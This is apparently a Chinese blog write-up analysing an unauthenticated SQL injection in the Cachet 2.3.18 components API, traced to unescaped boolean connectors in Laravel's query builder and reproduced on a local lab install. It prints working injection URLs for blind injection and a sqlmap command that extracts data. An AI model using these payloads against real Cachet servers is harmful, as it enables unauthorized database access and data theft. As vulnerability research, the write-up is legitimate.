返回
顶部

references:

环境搭建

cachet-2.3.18下载地址

用我的php破轮子搭建好环境,php版本使用php7.1,太高太低都不行

image-20210907110121064

解压cachet,进入目录,执行composer install,安装依赖

然后将.env.example复制为.env文件

配置好数据库密码之后,执行php artisan app:install进行程序的安装和数据库数据迁移

然后给cachet数据库的components表加一行测试数据

image-20210907205744015

漏洞分析

Cachet-2.3.18\app\Http\Routes\ApiRoutes.php

该文件声明了cache的api路由,第33行到49行,这些路由均使用中间件auth.api

这里顺便介绍一下laravel的中间件,简单来说就是介于用户的http请求和代码逻辑之间的一层处理代码,用于鉴权等操作

其中auth.api中间件接受一个bool类型的参数,默认为false,即不进行身份认证

image-20210907204033733

漏洞入口在components,也就是ComponentController控制器的getComponents方法

Cachet-2.3.18\app\Http\Controllers\Api\ComponentController.php

第40行的search方法定义位于Cachet-2.3.18\app\Models\Traits\SearchableTrait.phpscopeSearch方法

该方法中有一个检查:

array_intersect(array_keys($search), $this->searchable)

如果我们传递过来的参数$search数组中的key形成的数组和$this->searchable没有交集,那么SQL查询就不会产生

$this->searchable的值为:

protected $searchable = [
    'id',
    'component_id',
    'name',
    'status',
    'visible',
];

那么只要我们查询的时候,参数名为上面中的任何一个就可以继续查询

根据路由,我们可以构造出如下查询

http://cachet.fucker:809/api/v1/components?name=1

查询可以正常进行

image-20210907204956636

我们在Cachet-2.3.18\app\Models\Traits\SearchableTrait.php的第41行下断点,然后一路跟进到Cachet-2.3.18\vendor\laravel\framework\src\Illuminate\Database\Query\Builder.phpaddArrayOfWheres方法:

protected function addArrayOfWheres($column, $boolean, $method = 'where')
{
    return $this->whereNested(function ($query) use ($column, $method) {
        foreach ($column as $key => $value) {
            //如果键是一个数字,且值是一个数组,那么就把数组当作参数,调用$query->where方法
            //如果$value有四个元素(id、=、1、and),依次是字段名、操作符、操作值、条件连接符
            //形如and id=1
            if (is_numeric($key) && is_array($value)) {
                call_user_func_array([$query, $method], $value);
            } else {
                $query->$method($key, '=', $value);
            }
        }
    }, $boolean);
}

因此我们可以构造出如下请求

http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=motherfucker

image-20210907205537606

可以看到,我们的motherfucker进入了预编译的查询语句

laravel并未对条件连接符进行防注入处理,我们的字符可以直接注入进去

进一步构造

http://cachet.fucker:809/api/v1/components?name=1&1[0]=a&1[1]==&1[2]=1&1[3]=) or 1=1%23

image-20210907205645316

正常来讲,我们这时候应该已经能够查询出来数据了,但是查询结果仍然是空的

这里困扰了我挺久的,而且在debug的过程中,一直我也没看到?被替换的SQL语句,只能看到预编译语句(带?

后来干脆用wireshark抓了一下包

image-20210907210016550

可以看到,客户端只发送了Request Prepare Statement数据包,然后就直接发送了Request Close Statement

正常情况下,中间还会发送一个Request Execute Statement包,说明我的SQL语句根本就没执行

后来了解了一下MySQL的预处理机制,就是说数据查询是分两步,第一步是先提交预处理语句给服务器,待替换参数使用?标记,然后后续的查询,只需要提交对应的参数即可,如下所示:

mysql>  PREPARE stmt1 FROM 'select count(*) as aggregate from `components` where `enabled` = ? and (`name` = ? ) or 1=1# `a` = ?) and `components`.`deleted_at` is null';
Query OK, 0 rows affected
Statement prepared

mysql> SET @a = true;
Query OK, 0 rows affected

mysql> SET @b = 1;
Query OK, 0 rows affected

mysql> sET @c = 2;
Query OK, 0 rows affected

mysql> EXECUTE stmt1 USING @a, @b, @c;
1210 - Incorrect arguments to EXECUTE
mysql> EXECUTE stmt1 USING @a, @b;
+-----------+
| aggregate |
+-----------+
|         1 |
+-----------+
1 row in set

我将我没有查询出来数据的语句进行预处理,然后定义3个变量,并使用这3个变量执行了预处理语句,直接报错,提示参数数量错误,后面改成2个,就可以正常查询了

这说明了laravel在发送Request Execute Statement数据包之前,已经自己进行了校验,但是具体代码我并没有找到

因此现在我们只需要按照如下方式进行请求的构造即可:

http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) or 1=1%23

image-20210907211234255

成功查询出来数据

然后将1=1改成1=2

image-20210907211304308

未查询出数据,SQL盲注存在

这里由于是存在两个SQL查询语句,且两个语句的列数不一致,因此无法构造union注入,不管怎么写,两条语句都至少会有一条报列数不相等的错误,无法同时满足

sqlmap跑一下

python2.7 sqlmap.py -u "http://cachet.fucker:809/api/v1/components?name=1000000&1[0]=a&1[1]==&1[2]=1000000&1[3]= and name=?) *%23" --technique=B --level=5

image-20210907224429398

image-20210907224444452

跑了两次,分别跑出了时间盲注和布尔盲注

可以跑出数据

image-20210907224725445

总结

这个洞吧,我感觉应该是laravel框架的洞,如果不是他没有对参数进行过滤,这个注入也不会出现

不足之处XDM多指点